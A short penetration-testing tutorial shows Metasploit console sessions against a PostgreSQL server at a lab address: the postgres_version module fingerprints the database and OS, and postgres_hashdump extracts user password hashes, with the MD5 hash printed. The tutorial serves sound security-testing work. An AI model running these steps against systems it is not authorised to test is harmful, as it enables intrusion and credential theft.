How to Use PostgreSQL and Metasploit on a Security Test

Once we have a connection to the database and have a valid username and password, we can use Metasploit to validate the version number of the database as follows. As we can see the following identified the database server and gives us a detailed version number and operating system information.

```
msf6 > use auxiliary/scanner/postgres/postgres_version
msf6 auxiliary(scanner/postgres/postgres_version) > show options
Module options (auxiliary/scanner/postgres/postgres_version):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target host(s), see
   RPORT     5432             yes       The target port
   THREADS   1                yes       The number of concurrent threads
   USERNAME  postgres         yes       The username to authenticate as
   VERBOSE   false            no        Enable verbose output

msf6 auxiliary(scanner/postgres/postgres_version) > set RHOSTS 192.168.2.13
RHOSTS => 192.168.2.13
msf6 auxiliary(scanner/postgres/postgres_version) > set PASSWORD qwerty
PASSWORD => qwerty
msf6 auxiliary(scanner/postgres/postgres_version) > run
[*] 192.168.2.13:5432 Postgres - Version PostgreSQL 12.11 (Ubuntu 12.11-
0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-
1ubuntu1~20.04.1) 9.4.0, 64-bit (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/postgres/postgres_version) >
```

We can use a set of auxiliary functions supported by Metasploit. These functions allow us to profile and validate the version number of the database system as well as extract the password hashes.

```
msf6 > use auxiliary/scanner/postgres/postgres_hashdump
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set RHOSTS 192.168.2.13
RHOSTS => 192.168.2.13
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set PASSWORD qwerty
PASSWORD => qwerty
msf6 auxiliary(scanner/postgres/postgres_hashdump) > show options
Module options (auxiliary/scanner/postgres/postgres_hashdump):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  postgres         yes       The database to authenticate against
   PASSWORD  qwerty           no        The password for the specified username.
   RHOSTS    192.168.2.13     yes       The target host(s), see
   RPORT     5432             yes       The target port
   THREADS   1                yes       The number of concurrent threads
   USERNAME  postgres         yes       The username to authenticate as

msf6 auxiliary(scanner/postgres/postgres_hashdump) > run
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================
 Username  Hash
 --------  ----
postgres  md5f0b3492f3c382e5338eda87a59c6b843
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/postgres/postgres_hashdump) >
```